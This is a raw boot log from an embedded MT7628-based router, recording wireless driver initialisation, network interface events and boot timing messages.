[ 16.900000] RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P

default = 2ñ→

[ 16.910000] NVM is FLASH mode
[ 16.920000] 1. Phy Mode = 14
[ 17.080000] Country Region from e2p = ffff
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[ 17.080000] tssi_1_target_pwr_g_band = 22
[ 17.090000] 2. Phy Mode = 14
[ 17.090000] 3. Phy Mode = 14
[ 17.090000] NICInitPwrPinCfg(11): Not support for HIF_MT yet!
[ 17.100000] NICInitializeAsic(652): Not support rtmp_mac_sys_reset () for

HIF_MT yet!ñ→

[ 17.110000] mt_mac_init()-->
[ 17.110000] MtAsicInitMac()-->
[ 17.110000] mt7628_init_mac_cr()-->
[ 17.120000] MtAsicSetMacMaxLen(1279): Set the Max RxPktLen=1024!
[ 17.120000] <--mt_mac_init()
[ 17.130000] WTBL Segment 1 info:
[ 17.130000] MemBaseAddr/FID:0x28000/0
[ 17.130000] EntrySize/Cnt:32/128
[ 17.140000] WTBL Segment 2 info:
[ 17.140000] MemBaseAddr/FID:0x40000/0
[ 17.140000] EntrySize/Cnt:64/128
[ 17.150000] WTBL Segment 3 info:
[ 17.150000] MemBaseAddr/FID:0x42000/64
[ 17.160000] EntrySize/Cnt:64/128
[ 17.160000] WTBL Segment 4 info:
[ 17.160000] MemBaseAddr/FID:0x44000/128
[ 17.170000] EntrySize/Cnt:32/128
[ 17.170000] AntCfgInit(2925): Not support for HIF_MT yet!
[ 17.180000] MCS Set = ff ff 00 00 00
[ 17.180000] MtAsicSetChBusyStat(846): Not support for HIF_MT yet!
[ 19.800000] MtAsicSetRalinkBurstMode(2971): Not support for HIF_MT yet!
[ 19.800000] MtAsicSetPiggyBack(783): Not support for HIF_MT yet!
[ 19.830000] MtAsicSetTxPreamble(2950): Not support for HIF_MT yet!
[ 19.840000] MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0
[ 19.840000] Main bssid = 64:64:4a:3e:f9:81
[ 19.850000] <==== rt28xx_init, Status=0
[ 19.850000] ipaccount: ifname [wl2] event[16]
[ 19.860000] ipaccount: ifname [wl2] event[5]
[ 19.860000] ipaccount: ifname [wl3] event[16]
[ 19.870000] ipaccount: ifname [wl3] event[5]
[ 19.870000] ipaccount: ifname [apcli0] event[16]
[ 19.870000] ipaccount: ifname [apcli0] event[5]
[ 19.880000] ipaccount: ifname [apcli1] event[16]
[ 19.890000] ipaccount: ifname [apcli1] event[5]
[ 19.890000] !!!mt7628_xq_board=R4CM!!!
[ 19.890000] ipaccount: ifname [wl1] event[1]
[ 19.900000] CmdSlotTimeSet start
[ 20.330000] CmdSlotTimeSet end
[ 21.910000] ipaccount: ifname [wl1] event[20]
[ 21.920000] device wl1 entered promiscuous mode
[ 21.920000] br-lan: port 2(wl1) entered forwarding state
[ 21.930000] br-lan: port 2(wl1) entered forwarding state
[ 23.930000] br-lan: port 2(wl1) entered forwarding state
[ 31.360000] dev_redirect: add(+) dev redirect mapping: src:eth0.2->dst:ifb0
Fri Aug 14 14:35:44 CEST 2020 boot_check[2427]: INFO: Wireless OK
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[ 36.320000] ipaccount: refresh dev ifname to [eth0 wl0 wl1 wl3]
[ 36.330000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0.
[ 36.340000] ipaccount: landev_init_all() get dev [wl0] not found.
[ 36.340000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1.
[ 36.350000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1.
[ 36.360000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0.
[ 36.360000] ipaccount: landev_init_all() get dev [wl0] not found.
[ 36.370000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1.
[ 36.380000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1.
[ 36.840000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0.
[ 36.850000] ipaccount: landev_init_all() get dev [wl0] not found.
[ 36.850000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1.
[ 36.860000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1.
[ 37.460000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0.
[ 37.470000] ipaccount: landev_init_all() get dev [wl0] not found.
[ 37.480000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1.
[ 37.480000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1.
[ 38.030000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0.
[ 38.030000] ipaccount: landev_init_all() get dev [wl0] not found.
[ 38.040000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1.
[ 38.050000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1.
[ 41.090000] xqfp: forward hooks init success!
[ 41.090000] xqfp:extend init success!
[ 41.090000] xqfp: register_netdevice_notifier!
[ 41.100000] xqfp: module V2 init success!
rcS S boot: INFO: rcS S boot timing 37 seconds.
Fri Aug 14 14:35:54 CEST 2020 INFO: rcS S boot timing 37 seconds.
rcS S boot: system type(R4CM/2): SQUASH/3
Fri Aug 14 14:35:54 CEST 2020 system type(R4CM/2): SQUASH/3
rcS S boot: ROOTFS: /dev/root on / type squashfs (ro,relatime)
Fri Aug 14 14:35:54 CEST 2020 ROOTFS: /dev/root on / type squashfs (ro,relatime)
[ 44.880000] led=44, on=1, off=4000, blinks,=1, reset=1, time=4000
[ 44.920000] led=11, on=1, off=4000, blinks,=1, reset=1, time=4000
[ 44.940000] led=44, on=1, off=4000, blinks,=1, reset=1, time=4000
[ 44.970000] led=11, on=4000, off=1, blinks,=1, reset=1, time=4000
uci: Entry not found
Fri Aug 14 14:35:56 CEST 2020 boot_check[3339]: Booting up finished.
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